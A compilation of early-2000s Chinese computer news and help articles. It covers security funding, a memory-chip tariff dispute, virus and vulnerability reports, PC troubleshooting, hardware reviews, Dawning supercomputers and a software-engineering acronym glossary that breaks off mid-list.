路透社报导，美国总统克林顿最近建议美国政府增拨2.8亿美元制订一项长远规划，来加强美国的计算机安全系统，对付黑客入侵和恐怖分子的破坏。克林顿称，美国的重要设施，包括能源，航空、交通控制等部由计算机控制，因此为了美国安全，必须加强美国信息系统的防御力量，在这项长远规划中包括用1.6亿美元用于计算机系统安全的研究，培养计算机安全人材和组织政府和私人力量从事计算机安全系统的研究。程序
计算机世界网消息 4月17日消息，台湾主要内存厂商步美国和欧洲厂商的后尘正联合起来要赢得台湾当局的支持对韩国现代半导体公司生产的内存产品征收惩罚性关税。 南亚科技、力晶半导体、华邦电子和茂矽电子公司 4月16日向台湾当局发出联合请愿书，要求在2、3个月内做出初步裁决，并且随后做出最终决定。 如果这些内存厂商赢得了这场官司，这对现代半导体公司的影响也不大，因为现代半导体公司向台湾出口的内存还不到其产量的10%。中国、马来西亚和墨西哥如果考虑实施这种处罚后果会更严重。但是，这些国家没有表现出对追加关税的兴趣。 南亚科技副总裁Charles Kau表示，台湾方面做出裁决支持增加关税的可能性非常高，因为美国和欧洲的裁决对台湾方面会产生很大的压力。 他补充说，现在提出投诉的时机非常合适，因为由于美国和欧洲的裁决，现代半导体公司目前正在把更多的芯片销往台湾和亚太市场。 Kau表示，他现在还不能提供由于现代半导体公司接受补贴台湾内存厂商蒙受了多大经济损失的具体数字。该公司将在本月底提供有关这个信息的报告。
计算机世界网消息 世界最大的企业软件供应商甲骨文公司（Oracle）近日在美国加利福尼亚州Redwood Shores的公司总部宣布，权威的分析机构国际数据公司(IDC)确认甲骨文为地理空间数据库管理 （Geospatial Database Management）市场的绝对领导厂商。 根据IDC最新公布的名为“空间信息管理：2002年竞争分析”的研究报告，甲骨文在全球面向空间信息管理(Spatial Information Management)的数据库安装量中占有80%~90%的市场份额。这份报告指出，地理空间数据库管理市场正在迅速发展，在未来的两至三年中，空间信息管理的基本功能（甲骨文目前已经提供了这些功能）在数据库、应用服务器和数据访问技术中将变得无所不在。报告是在对厂商财务报告、调查问卷、公共信息和用户反馈进行分析后得出以上结论的。报告还称赞甲骨文为把空间信息管理功能直接融入关系型数据库而表现出的创新精神。 IDC空间信息管理高级咨询顾问David Sonnen分析说：“甲骨文提供了内置的空间和位置激活数据库技术，使其成为空间信息管理技术的首选。最新版本的Oracle9i数据库嵌入了这些功能，而且价格并不没有增加，同时，在很多方面允许应用直接从Oracle数据库访问空间数据。甲骨文在这方面的开发努力将有助于普及基础级的地理空间技术。”
20年来，微软一直是微软。即使被指称“抄袭”之时，备受网民指责的无锡永中也只好不由得感叹：微软毕竟是微软。它对“抄袭”事件的反驳顷刻间就博得了中国网民的理解，以致他们的口水几乎将永中淹没。 　　是“抄袭”还是“炒作” 　　4月18日上午，无锡永中科技有限公司副董事长曹参接受本报记者采访时介绍，事情起自不久前，国内外媒体披露了微软即将面世的Office11的下一代产品可能在抄袭永中Office的集成概念。那篇报道称：“微软要采用单一程序处理word、表格、电子邮件等文件，微软CEO巴尔默已经在公开的计算机产业报告中证实了这一消息。” 　　曹参说：“过去10年间，为什么微软Office以前不做统一文档，不用标准的统一界面？微软现在看到永中这样做了，也来学着做。我们不排除其他形式创新的可能性，但永中对自己的Office产品有专利权，如果对方用这个具体的专利技术来做，那就是侵权。而在设计思想上，我没说你侵权，但是，抄袭还是抄袭。如果我们有证据，我们就上法庭。但是微软新的Office产品没有上市之前，永中不会采取法律行动。” 　　在谈到此次事件是否由永中公司内部泄密造成时，曹参表示否定。永中公司研发部有将近两百多人为永中新版本Office工作，曹参兼任首席软件设计师。 　　据了解，永中OfficeV1．0正式版“以数据集成应用为核心，系统设计、整体集成一个Office的技术思想”。它打破了微软Office操作系统不能兼容的壁垒，可以将文字、表格、简报等应用到一个软件中执行。在去年德国汉诺威的国际电脑展上，外国人异口同声评价：“我们看到了未来的Office！”永中Office作为国内第一个拥有完全自主知识产权的软件，它于去年10月上市。 　　然而，身处“抄袭”事件风暴眼里的无锡永中，现在正遭受到很多人的责骂，有一种代表观点认为：都是永中在一厢情愿地炒作。他们在网络上说：“永中出生了几年？竟然说老软件抄袭新手，真是不要脸！”曹参就此反问记者：“都说软件和足球一样是中国人永远的痛，现在，他们不了解我们的Office，就说永中在炒作，这是负责任的态度吗？”
导报上海讯　随着4月26日的临近，破坏力极强的CIH电脑病毒又将肆虐作祟。专业人士提醒，为预防电脑中毒，应提前做好应对准备。 　　上海市计算机病毒防范中心技术部的周先生告诉记者，虽然CIH是个老病毒，但它目前产生了几个变种，危害依然很大，电脑被入侵后，主板BIOS会被写空，硬盘数据将丢失，开机后只有黑屏。记者获悉，目前市面上的杀毒软件基本上都能有效地查杀CIH病毒。周先生还提醒说，近期要留心收到的电子邮件附件，因为CIH病毒一般附着在．doc、．exe等可执行文件上进行传播。另外，预防CIH还有一个简单有效的办法，就是改动电脑的日期设置，跳过它发作的4月26日。
再谈电脑死机故障的原因及处理 　　问：本人电脑配置是CII633,196M内存,40G硬盘,VIA694芯片的磐英主板集成AC97声卡,16M显存~网卡一个,外置猫,15显示器~系统是WIN98第二版~~装有正版金山毒霸2002OEM~~~经常会无由的死机~~看电影时,游戏时,甚至是在没人碰它的时候~~~还有在睡眠状态的时候~~系统已确定没有病毒,前几天C盘被我格了~~~(气急了)我怀疑会不会和CPU风扇有关? 　　答：可能的原因太多了，除了软件上的问题，内存、主板、电源.... 可能除了机箱上的螺丝外，任何配件的质量不好都有导致死机的可能。只能依次替换，耐心试。 　　先由软件查起。看样子的你操作系统和杀毒软件你都有很大的把握，那我建议你可以从驱动入手：VIA的四合一补丁和显卡驱动是最大嫌疑。不要贪图驱动的最新，到网上了解一下哪个版本的比较稳定，先就用哪一个。如果软件没问题，再说硬件。 　　把网卡和外置猫去了，在BIOS里将软声卡关了，内存只插一条，在这种最简情况使用一段时间看看。如果还有问题，先查CPU是否过热或被超频，再查内存和显卡有无过热和接触不良的情况，最后是电源和你们当地的电压。 　　如果没事，将网卡和外置猫等一项一项恢复，以查找故障源。总之先简后难，先软后硬。不要着急，慢慢来。
主板自保护引发电脑不断重启的故障 -------------------------------------------------------------------------------- 2003-04-03 09:47:49 　　一日开机，主机的指示灯不亮，并且听不到主机内电源风扇的旋转声和硬盘的自检声。重启、再重启⋯⋯故障依旧。 　　首先检查外部交流电是否有问题，因为电压过高或过低可能引起电源过载保护，用测电笔和万用表先检测电源插座及电源线的电压，结果一切正常。于是将爱机开膛剖肚，检查电源开关及复位键内部金属接触片的接触情况和连线是否有电源短路现象。之后采用排除法，仅剩主板、内存、CPU和显卡这几项系统启动必备的配件然后开机，结果发现问题依旧存在。看来只有将嫌疑最大的电源拆下，经在电脑公司工作的朋友鉴定，电源是好的。于是又将CPU装在别的计算机上检测，也没有发现故障。重新将电源装上后，检查主板上的各种电源连接线信号是否有松动，确认无误后开机还是黑屏⋯⋯无奈之下只好做最后的尝试，将CMOS电池的跳线帽从1 2针脚移到2 3针脚后再移回 放电 ，开机故障解决！ 　　后来笔者发现，造成这种原因主要是由于主板具有自动侦测功能，当CPU或电源风扇转速及各配件电压或温度不正常时，主板自动采取保护措施无法启动，进行CMOS放电后电脑就能正常工作了。
如果你的电脑出现问题不能正常启动到Windows了，你就可重新启动计算机，进入安全模式来启动。你可先确定保护模式的驱动程序是已毁坏或是配置不正确，以确定是否因保护模式的驱动程序导致计算机无法正常启动。在安全模式中右键单击“我的电脑”，然后单击“属性”。在“设备管理器”选项卡上，尝试禁用下列类型的设备：显示适配器/软盘控制器/硬盘控制器/键盘/鼠标/网络适配器/PCMCIA插槽/端口 COM&&LPT /SCSI控制器/声音、视频和游戏控制器等等。 　　重新启动计算机之后，可按如下顺序启用被禁用的设备：COM端口—硬盘控制器—软盘控制器—其它设备。要启用设备清除“在此硬件文件中禁用”复选框即可，还可单击“资源”选项卡，确认“冲突设备列表”中没有列出任何冲突。如果存在冲突，则必须重新配置部分冲突设备，使之使用其它资源。对于每一设备，可重复以上步骤，直到计算机无法正常启动为止，计算机无法正常启动时，最后启用的设备就是引起问题的设备。此驱动程序或设备可能是配置不正确，也可能是已毁坏，更新或更换试试。 　　总之，利用安全模式修电脑可广泛适用于驱动安装出错、系统死机、显示器分辨率调整过高、软硬件严重冲突等各种不能正常进入Windows的故障，如果你遇到这些故障不妨这样试试
在当今数码产品横行天下之际，小资一族身上又多了几件必备的时尚利器，即可方便工作又可人前炫耀，岂不美哉！今天偿向您推荐一款别致的掌上电脑。 　　记得有句广告词说的好：呼机、手机、商务通一个都不能少，也许在两三年前你要是身上有这三样东西，那不是大款就是港商，但是现在你要还是这套装备那可有点落伍了。现在流行的叫PDA也就是掌上电脑，这个东东其实就是一个小的电脑，能够运行Windows CE、Palm OS操作系统和一些常用的软件，并且可以看看电影、听听音乐、玩玩游戏等，功能多的吓人呀！其中最为另类和引人注目的非SONY的最高端型号NR70莫数。 　　这款机器采用了Palm OS 4.1操作系统。显示屏采用的是索尼公司开发的320×480点阵半透过型TFT液晶显示屏，分辨率比原机型更高，屏幕下方为手写区。另一个特点就是内置相机，在机身的铰链部位安装有相机，可通过10万像素的CMOS传感器拍摄最高分辨率为320×240的图像，相机部分可300度旋转，此外还支持蓝牙技术。尽管这款新型CLIE的机身略大，但除此之外可说是魅力四射。 　　另外有：行事历、通讯录、备忘录、记事本、计算机、保密系统、游戏、资料同步技术、gMedia动画拨放程序、PictureGear Pocket秀图软件、Audio Player音乐拨放程序自然是一个也不能少。可让潇洒、贪玩的小资们自由自在的在PDA的世界里畅游一番。如同这台PDA一样“笑歪了脑袋”价格：4600元左右。
纠正DIY电脑中的几个常见误区 　　我帮很多朋友参谋过他们的攒机配置。 　　发现了他们的很多误区： 　　1、只要CPU快别的无所谓。 　　2、只要CPU、显卡好别的无所谓。 　　2、只要硬盘、显卡好别的无所谓。 　　DIY要量体裁衣、均衡搭配！ 　　一台计算机的显卡、声卡、硬盘、光驱、MODEM以及各类卡和占用CPU的设备都存在“CPU占用率”这个问题。CPU的速度是快了但受到了上述部件的拖累，机器的性能就没个好，用软件优化也是杯水车薪！ 　　DIY时要你要考虑你的外频是多少，133外频就要找在133外频发挥好的硬件，不要用100外频的硬件。 　　很多人都认为声卡好坏无所谓，可是声卡的CPU占用率是个很突出的问题。在游戏中你离不开声音吧？看电影你离不开声音吧？听CD、MP3你离不开声音吧？除非你不玩、不看、不听这声卡无所谓。你要是攒个家用电脑声卡不容忽视！很多人对主板的看法就是够用就行，却不知主板最为重要！主板应该是所有配件中最不可忽视的！你的机器性能好坏，可扩展性能怎么样，升级性能如何，超频性能高低都由主板来决定。主板的投入是不能省的！ 　　内存吗在最便宜时一定要多买，最好能在512M以上，这样能减少系统加载的虚拟内存从而提高硬盘的性能也减少硬盘的消耗并提高硬盘的寿命。 　　显卡选好了显示器却很差，经常出现刷新率高了黑屏！这也是一种资源浪费。 　　总之，DIY攒机不要在某个部件上使劲省钱，要均匀着来。一定要想好自己要用机器干什么。不可盲目求新逐快，也不可以穿西装戴草帽。 　　最后和大家说一句，机器买到家一定要找个好地方放置，太潮、灰尘太大、通风不好的地方可不要放呀！尤其是AMD CPU的机器。现在的电脑桌都是把主机放在下面离地很近，这很容易吸灰！主机电源里灰多了容易造成散热不好，并且容易造成短路，还使散热风扇噪音变大！光驱、软驱因灰尘而加速老化。所以不建把主机放在下面(高档装修的房子也不例外，高档装修的房子灰尘也不小)，我的可是放在桌上的呀！两年才清理一次灰尘呀！
“黑木马”病毒昨狂攻局域网 被瑞星截获 2003-04-30 08:41:00 北京娱乐信报 　　信报讯(记者张煦) 昨天上午10时，一被命名为“黑木马”的恶性木马病毒被截获。该病毒不仅会在局域网中疯狂传播，而且会将各种反病毒软件关闭。� �  　　据瑞星反病毒专家介绍，这是一个用VB编写的木马病毒。“黑木马”会搜寻局域网中的网络打印机，并启动打印机打印乱码文件直到所有打印纸耗尽，当新的打印纸装入打印机后，会继续打印乱码文件，如此周而复始。 　　更重要的是，“黑木马”只要检测到有反病毒软件工作，就会立刻结束反病毒软件进程。� �  　　瑞星反病毒工程师表示，只有安装了网络版杀毒软件才能彻底解除“黑木马”造成的威胁。
分析家破译微软Windows家族拆分的真实意义 2003-04-29 10:19:00 太平洋电脑网 Inuki � � 微软的Windows家族在全球IT业界已经成了风向标，在Windows 98以前的单独一个系列到Windows 2000的4个系列发展到现在的Windows XP的5个以上系列，为什么微软要把一个操作系统分成如此多的系列？下面，专门研究微软的分析家们对微软的Windows家族的拆分做了一番详细的分析。 　　分析家说，微软对Windows家族的分割是广泛而且经过深思熟虑的，尤其公司正着手从功能上来区分操作系统的不同版本。例如，Windows XP家庭版和专业版分别定位于消费用和商用两个市场，媒体中心版(Media Center Edition)则专注于架构数字视频录制的娱乐功能，而专用于Tablet PC的应用软件又给一个独立的便携式版本打开了生存的空间。 　　上述三个Windows XP的主要版本基本上包含了相同的基本构件，Michael Cherry，一位专门从事微软方向的市场研究专家向我们解释说，媒体中心和Tablet PC版本是与众不同的——“它们可以算是Windows的超集——也就是说，它们要么比其他的版本集成了更多的构件，要么包含了其他版本所没有的功能。” 　　来自Roger Kay还预言说，微软可能最终会将不同版本的区别进一步扩大化。例如，Tablet PC版一个和常规Windows XP最大区别的地方在于它支持手写显示板，可以让用户使用一支手写笔在机器的显示面板上进行书写。而由于有越来越多的PC厂商将手写显示集成到便携式电脑的设计中，微软也可能将这个版本开发成笔记本版的Windows XP。类似的，Windows Media Center也有发展成为消费型电脑专用XP版本的潜在可能。 　　从产品的角度来看，具有竞争力的市场决策无非于为特定群体的用户度身定做得体的功能，友好的用户交互界面及完善的构件。就像今天移动电话市场的发展趋势一样。“消费者很明确他们所需要的功能，而这也是他们真正感兴趣的地方。难道他们会了解，或在意他们手机上跑的是什么操作系统?” 　　一般情况下，版本的区分工作会由各个硬件厂家来做，它们会依据各自的设计适当增删某些功能；或者由其他软件公司来做后期处理，将之演化为各类不同的操作系统，例如Symbian的手机软件。而在微软的版本架构下，各个后期产品的开发都是围绕着Windows的代码进行的。“只要厂家知道什么地方不可以接受多个操作系统——除非微软发布了相应的产品，那就绝对没问题了。” 　　Cherry原则上同意上述的观点，同时他还强调了微软此套分类法的技术根据。“可以看出，对版本进行分类可以使之(微软)将精力集中于各个版本对应领域的特定需求上，从而开发出兼容性更加可靠的Windows。” 　　不过，版本冗繁带来的问题也是显而易见的： 　　首先，太多版本的Windows会搅乱消费者的视线，购买时的选择和安全补丁的兼容性会让用户无所适从。尤其是在台式机上，后者的问题由于层出不穷的版本家族更显得尤为突出。“假如我是一家公司的计算机管理员而我们公司有台式机，便携机还有Tablets，那么现在我必须使用两个版本——Professional和Tablet；而如果我是一个家庭用户，拥有一部台式机和一部media center的PC，那么，我还是得购买两个版本。”而至于哪些漏洞和哪些安全补丁对应哪些不同的版本，Cherry说，“这更是一片混乱。”如果你用的是扩展版的Windows的话，这个问题更容易浮出水面。Kay还引述自己的经历说，他曾经在测试中使用过一部Windows Media PC，对其进行在线升级时下载的始终是标准版本的XP补丁。 　　“这会损坏操作系统的版本结构，而且这就不仅是混淆的问题，还涉及到技术层面上的要素。”
电脑也能染上“非典”病毒!注意及时杀毒 2003-04-25 11:04:00 IT168.com 　　在这“非典型肺炎”在这个星球上闹得沸沸扬扬之时，一种“非典”病毒也借此机会来捣乱。据安全专家称，一种正在通过互联网传播的新蠕虫病毒利用了人们对“非典”的恐惧。 　　为了诱惑更多的用户能够打开病毒邮件，病毒作者越来越地在电子邮件中讨论流行的话题，象声称在电子邮件中隐藏有女明星裸体照或伊拉克的卫星照片的病毒都属于这一类型。 　　在新发现的病毒中，病毒邮件声称提供有关“非典”传播的资料。一旦被激活，这种能够发送大量电子邮件的“W32/Coronex”病毒将感染用户的计算机，并将自身发送电子邮件地址簿中的每一个地址。 　　Coronex病毒电子邮件使用各种不同的主题、内容和附件文件名，引诱用户点击包括“Severe Acute Respiratory Syndrome”、“SARS Virus”、“Hongkong.exe”等文件。 　　Sophos公司负责反病毒业务的高级技术顾问格雷厄姆表示，这种病毒蓄意利用公众对“非典”的关注，是病毒作者利用公众心理传播病毒的又一次示范
新漏洞使IE更容易被黑 微软紧急拿出安全洞补丁 2003-04-25 14:28:00 太平洋电脑网 Inuki 　　微软公司星期三下午公布了一系列最新发现的IE及Outlook Express漏洞补丁。其官方通告中称，这些补丁所对应的漏洞都是“紧急”级别的。根据微软TechNet先前的叙述，这些漏洞可以使黑客在用户机上留下执行非法代码的后门。 　　IE的补丁填补了以下四个缺陷：URLMON.DLL中的一个缓冲区溢出漏洞，IE中文件上传控制的漏洞，IE处理第三方文件过滤器的漏洞，以及一个处理模态对话框时的错误漏洞。四个之中，缓冲区溢出的问题最为严重，只要用户被引诱登陆了黑客的网站，对方就可以在其机上执行任意代码。其他的漏洞也能够通过不同的渠道对客户机造成危害，利用藏有恶毒代码的网站，或者一封含有特殊代码的HTML电邮。 � � Outlook Express的漏洞也能使黑客控制用户的机器。漏洞具体位于OE的MHTML URL处理器中，通过一个MHTML(聚合类HTML的MIME封装形式)的URL地址（无论是通过网站访问或者嵌入到一个HTML的电子邮件中），任何文件都能解释为文本形式打开，然后处理为IE显示页面的一个部分。因此，黑客就有可能构造一个URL地址，将之关联到本地客户机的一个文本文件上，然后通过浏览器将其解释为HTML文本。如果该文本文件中包含了脚本，那么这些脚本代码会在文件被读取时执行。因为文件依存在本地的计算机上，也就很有可能位于本地计算机的安全区域中。而在本地打开的文件受到的限制要比在外部打开时少很多。 � � 上述的漏洞补丁都能在微软网站相关的网页上找到。
英特尔推出让计算机读懂唇语的AVSR软件 2003-04-29 16:25:00 Chinabyte 　　英特尔推出了一种能让计算机读唇语的软件，朝着更高级的语音识别应用迈出了重要的一步。 　　这个名为AVSR(音视频语音识别)的软件能够跟踪讲话人面部表情和嘴唇的移动。通过把这些动作与语言进行比较，这个应用程序可向计算机提供足供的数据对语音识别指令作出回答，即使在噪声很大的环境中也可以。AVSR软件程序是OpenCV计算机图像库的一部分。那是一个开源软件应用程序和工具集，能够帮助计算机解释图像数据。 　　计算机公司多年以来一直设法普及语音识别应用。但是，大多数计算机的处理能力不足和软件性能限制了语音识别技术的开发。现在这两个因素都发生了很快的变化。处理器平均速度速度现在已经达到了1.5GHz以上，最高速度已经达到了3GHz。此外，研究人员编写处理语音指令的应用程序的水平也提高了。 　　证明这种应用的一个方法就是把视觉信号转换为英特尔正在做的语音识别方案。例如，微软研究所开发出一种名为“GWindows”的试验型应用程序。用户可以使用语音和手势相结合的方式，利用这个软件对计算机中的文件和窗口进行操作。 　　GWindows软件与摄像机一起使用，以便跟踪手等目标的移动。计算机利用统计学原理进行工作。当计算机“看到”用户多次向左挥手，计算机就把这种指令解释为把把文件转移到左面。 　　英特尔对于AVSR软件还有其它应用。例如，这种软件可以同摄像机一起用于医院防止病人出现中风的危险，或者用于停车场防止偷窃。其原理是一样的，如果病人的生活节奏变慢或者有人在停车场不进商店而是挨个车观看，这个软件就会根据这些不正常行为发出警报。 　　英特尔AVSR软件的这些应用和开发工作是在英特尔公司在北京的中国研究中心进行的。
曙光超级服务器的研制 国家智能计算机研究开发中心（简称智能中心）是为实现国家高技术计划而组建的研究开发实体，其宗旨是发展计算机高技术，实现高性能计算机产业化，主要从事高性能计算机和超级服务器的研究与开发。 智能中心从成立至今已先后研制开发出了曙光一号全对称多处理机系统，曙光1000大规模并行计算机系统，曙光2000-I大规模并行计算机系统，曙光2000-II大规模并行计算机系统，曙光天罗天联系统，曙光NT机群系统，曙光高可用系统等一批高技术成果。其中曙光一号获1994年中国科学院科技进步特等奖，1995年国家科技进步奖二等奖，并被写入94年全国人大政府工作报告；曙光1000大规模并行计算机系统，获1996年中国科学院科技进步奖特等奖，1997年国家科技进步奖一等奖。 目前，智能中心拥有科研人员50多人，主要承担国家863重大项目曙光3000的研制任务，同时从事曙光系列产品的产品化工作。 曙光1000大规模并行计算机系统 曙光1000大规模并行计算机系统(以下简称曙光1000)是国家863高技术计划取得的重大成果。它于1995年5月通过了由国家科委组织的国家级鉴定。曙光1000是继曙光一号计算机以后我国高性能计算机方面的又一里程碑，是当时国内研制的最高水平的计算机系统。它突破了一大批大规模并行处理(MPP)的关键技术，使中国成为世界上少数几个能研制和生产大规模并行计算机系统的国家之一。曙光1000在整体上达到了九十年代前期的国际先进水平，某些技术达到了当时的国际领先水平。曙光1000的研制成功不但具有重大的学术价值，而且产生了巨大的社会和经济效益。主要技术指标： 浮点峰值计算速度为：单精度每秒25.6亿次，双精度每秒19.2亿次。实际运算速度已达每秒15.8亿次。 内存容量：1024兆字节；磁盘容量：5GB~50GB。 结点机36个，可扩充到72，144，甚至更多结点。 采用基于蛀洞(Wormhole)机制的2D-Mesh通讯网，网络总通讯容量为4.8GB/S 结点机与网络的通讯总带宽：2.8GB/S。支持C、C++和Fortran，提供并行优化重构工具PORT、程序自动并行化工具AutoPar、并行用户程序运行动态监视和分析工具 ParaVision，以及结点内源码级和目标码级优化工具。 基于UNIX的并行分布式操作系统。 提供并行编程和运行环境EXPRESS、PVM、MPI、NX和P4。 并行程序调试环境NDB(源码级)和ADB(汇编级)。 多媒体联机教学与帮助系统。 部分应用软件。包括并行数值天气预报软件和石油地震数据处理软件。所有系统软件和用户环境均采用国际标准。 曙光2000-II超级服务器 曙光2000-II系统是国家863计划和中国科学院知识创新工程的重大成果，于2000年1月通过了国家科学技术部主持的国家级鉴定。经过近半年的产品化开发，已形成了正式产品。第一套系统于2000年6月正式落户中国科学院网络信息中心，用于大规模科学计算和网络信息服务。该系统在整体上已达到90年代末期的国际先进水平，有些方面，如机群操作系统、集成化并行编程环境、并行数学库函数和服务器聚集软件等已达到当前国际领先水平。在可扩展性、易用性、可管理性和可用性方面，在系统的高性能和通用性相统一方面，在机群操作系统、单一系统映象技术和硬件监控技术方面有自己的特色和创新；该系统既可用于科学工程计算，又可用作事务处理和网络信息服务，是一个产品化的超级服务器系统，具有很好的应用前景。 一．系统简介 曙光2000-II系统峰值浮点运算速度达到每秒1117亿次，内存总容量达到50GB，磁盘总容量达到600GB（可扩充到几个TB），其中，内置硬盘容量达到439GB，共享磁盘（包括盘阵）容量为223GB。它是一种典型的分布式并行计算机系统，具有先进的机群体系结构。它由82台节点计算机组成，每台节点计算机包含2个处理机，共164个处理机。其中，薄节点机64台，厚节点机8台，高性能节点机8台，服务节点机2台。每台节点机包含2个PowerPC或Power 3处理器芯片，512MB或1GB内存，以及4.5GB或9GB的内置硬盘。系统包含一个178GB的外置盘阵和一个45GB的内置盘阵。有三套连接网络：一套80端口的高速专用Myrinet网，一套96端口的100MB外部以太网(含4个1GB端口)，以及一套16端口的外部以太网。另有一个控制台节点，一个约200GB高速磁盘阵列，一个硬件监控器。曙光2000-II具有丰富而完善的系统软件，包括通信子系统，系统管理子系统，资源管理子系统，作业管理子系统，机群文件子系统。节点操作系统为AIX4.3／4.2.1。系统配有流行的C、Fortran和Java编译器。其并行编程环境有PVM和MPI，串行程序自动并行化工具，并行程序监测工具和并行数学库函数。它支持流行的数据库Oracle/DB2等。为支持网络信息服务，它有并行Web服务和E-mail服务系统。它有服务器聚集软件。此外，还有包括气象、石油、核能和基础科学研究等行业领域在内的一大批行业应用软件。 二．曙光2000-II的技术特点 1．突出的SUMA特色： Scalability，可扩展性，曙光2000-II包含160多个CPU，且有很高的系统效率。 Usability，易用性，先进的技术使曙光2000-lI象单机一样好用。 Manageability，可管理性，系统易于管理和控制。 Availability，可用性，系统稳定可靠，部件出错时系统仍能提供服务，有故障监测及自动／手动修复措施。 2．单一系统映像(单一登录点，单一控制点，单一文件系统等)使系统很好管理和使用。 3．高性能与通用性的和谐统一： 先进的机群体系结构，每个节点机是一台相对独立的机器。 平衡的系统设计使节点机间通信、I／O能力等方面没有瓶颈。 硬件配置的丰富性与灵活性能满足各种应用需求。 功能强大效率高的系统软件，多种编程工具，各种中间件、库函数和网络信息服务软件使用户能各取所需。 服务器聚集方式使一套系统同时执行多种服务。 广泛采用国际标准和主流技术使曙光2000-II能运行世界上积累的上万种应用软件。 三．应用范围 1． 可在下列地点做主服务器：计算中心、网络中心、信息中心、数据中心、清算中心、结算中心、处理中心、监控中心、交换中心等。 2． 可应用于下列行业领域：石油，气象，水利水电，地质勘探，地震预报，环境监测与分析，机械设计与模拟（汽车、飞机、船舶等），基础科学计算（量子化学、材料科学、理论与高能物理、流体力学、DNA与基因分析、天体物理等），信号与图像处理，事务处理（银行、证券、保险等），网络信息服务等。 曙光3000超级服务器 正在研制的曙光3000将是一套通用超级服务器系统，其峰值浮点速度将达到每秒3000亿次以上。它支持科学工程计算、事务处理和网络信息服务。该系统与主流商品化平台和部件兼容，具有可扩展性、安全性、好用性、易管理性、高可用性。主要技术指标： 峰值计算速度： 浮点运算每秒3000亿次以上 处理机数： 264 内存总容量： 160GB 磁盘总容量： 3TB 互联网络： 高速以太网、高速专用网（总通信带宽为50GB/s） 机群操作系统： 系统管理、资源管理、作业管理、机群文件系统等 程序语言： C/C++，Fortran，Java 集成式并行编程环境：PVM、MPI、ParaVT和Autopar等 网络信息服务平台：Web Server、E-mail、DNS、FTP等 数学库函数：BLAS、BLACS等，运行ESSL、PESSL等， 支持DB2、Oracle等流行数据库服务器聚集软件 一批应用软件：量子化学、材料科学、高能物理、气候模式 和天气动力学等（主要由用户开发） 曙光NT机群系统 曙光NT机群系统使用并行处理技术拓展了应用的范围。由于它的设计考虑到性能和可扩展性，系统可以处理具有大规模数据处理和计算密集特征的应用。曙光NT机群的市场定位是，位于SMP和UNIX超级服务器之间，可以取代高端SMP服务器和低端的UNIX超级服务器。曙光NT机群系统为解决大型复杂的技术和商业应用提供解决方案。用户可运行多种应用：计算流体动力学、数值分析、数据采集和决策支持、网络服务、LAN服务器聚集和联机事务处理。 曙光NT机群系统能够利用多个基于Intel PII微处理器的节点来并行处理单个计算问题。这种并行处理技术可将计算性能和吞吐量提高到串行计算的许多倍。除了提高已有应用的性能外，系统还使得诸如复杂数据采集、气候模拟等新应用成为可能。 曙光NT机群系统的基本构造块是SMP计算节点。它由一至两个Intel PII 微处理器、存贮器、PCI扩展槽（用于I/O和互连）、和内置磁盘组成。Intel PII微处理器（300/333/400MHZ、400MHZ Xeon）是一种创新产品，它带来了突出的性能及性能价格比。节点类型在单个系统中可以是混和的，每个节点放在一个抽屉状的专门机箱内。这些小机箱可被连结成多达16节点的系统。 每个系统机柜最多可以有8个节点。每个曙光NT机群节点是由一个完整的Microsoft Windows NT4.0企业版操作系统进行管理，能为成千上万个当前可用的NT应用提供接口。除此之外，系统可被分区为多个节点池。例如，两个节点可被用作一个Lotus Notes Domino 服务器，同时另外六个节点可被用于天气预报。 曙光NT机群系统通过冗余的系统部件提供高可用性支持，如多节点、两个Ethernet网络、RAID盘阵。此外，它还支持NT高可用软件（Wolfpack或Dataware）， 用于支持重要的应用备份和高可用性。例如：当某个节点出现故障，系统执行一个恢复文本，它将当前工作移到另一个节点上，并保证应用的继续执行。有效的并行计算技术需要高带宽、低延迟的节点间通讯。采用千兆位以太网交换机，使得单通道单向数据传输能力高达1000Mb/秒。曙光NT机群系统几乎可以线性地扩展处理器数和存贮容量，这种技术使得TB级（1012）数据处理成为可能，并且使得扩充和升级更加容易管理。如果用户扩展现有系统，那么它的计算能力也随之相应提高。大规模系统的管理一直是个复杂的过程。对于曙光NT机群系统来说，一个图形操作控制台可以显示硬件、软件、作业和用户的状态，这样一来，管理就显得简单得多。系统管理员使用该控制台--一台曙光天阔II225R型服务器和NT机群系统管理系统（DNC）软件产品进行系统管理，例如用户和口令管理、作业的记帐、网络管理、以及系统的启动/关闭，系统监控等等。 曙光NT机群系统提供了PVM和MPI并行程序设计环境、可支持大量现有的并行程序。此外，曙光NT机群系统提供了一系列广泛的Microsoft NT兼容的开放的软件工具，来支持管理和操作，包括Microsoft的C和Fortran编辑器，SQL Server、Oracle、DB2数据库，Oracle 8、DB2 UDB EEE v5.2并行数据库，IE、Netscape、 曙光天联网络套件，ISI公司的ClementineData Mining System数据挖掘软件，Cluster Domino Server 4.5等。曙光公司将它在大规模并行计算方面的经验应用于曙光NT机群系统的设计上，提供了大规模系统的用户所期望的灵活的、开放式解决方案的能力。
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- ASD Adaptive Software Development 自适应软件开发 AFE Application Family Engineering 应用族工程 ASE Application System Engineering 应用系统工程 BOA Basic Object Adaptor 基本对象适配器 BMP Bean-Managed Persistence 构件管理的持久性 BE Business Engineering 业务工程 CMM Capability Maturity Model 能力成熟度模型 CRC Class—Responsibility—Collaborator 类—责任—协作者 CDR Common Data Representation 公共数据表示 CORBA Common Object Request Broker Architecture 公共对象请求代理体系结构 CBD Component Based Development 基于构件开发 CIDL Component Implementation Definition Language 构件实现定义语言 CIF Component Implementation Framework 构件实现框架 CSE Component System Engineering 构件系统工程 CMP Container-Managed Persistence 容器管理的持久性 CCM CORBA Component Model CORBA构件模型 CCM CORBA component model CORBA构件模型 DNA Distributed interNet Architecture 分布互联网体系结构 DTC Distributed Transaction Coordinator 分布式事务协调程序 DSSA Domain-Specific Software Architecture 领域特定的软件体系结构 DDE Dynamic Data Exchange 动态数据交换 DII Dynamic Invocation Interface 动态激活接口 DLL Dynamic Link Liberary 动态连接库 DSI Dynamic Skeleton Interface 动态骨架接口 XP eXtreme Programming 极值程序设计 GIOP General Inter-ORB Protocol ORB间通信的标准协议 GUID Globally Unique Identifier 全局唯一标识符 IMDB In Memory DataBase 驻留内存数据库 IDL Interface Definition Language 接口定义语言 IID Interface Identifier 接口标识符 IIOP Internet Inter-ORB Protocal 因特网ORB互联协议 JITA Just In Time Activation 即时激活机制 LPC Local Procedure Call 本地过程调用 MSMQ Microsft Message Queue Server 微软消息队列服务 MIDL Microsoft Interface Definition Language 微软接口定义语言 MTS Microsoft Transaction Server 微软事务服务器 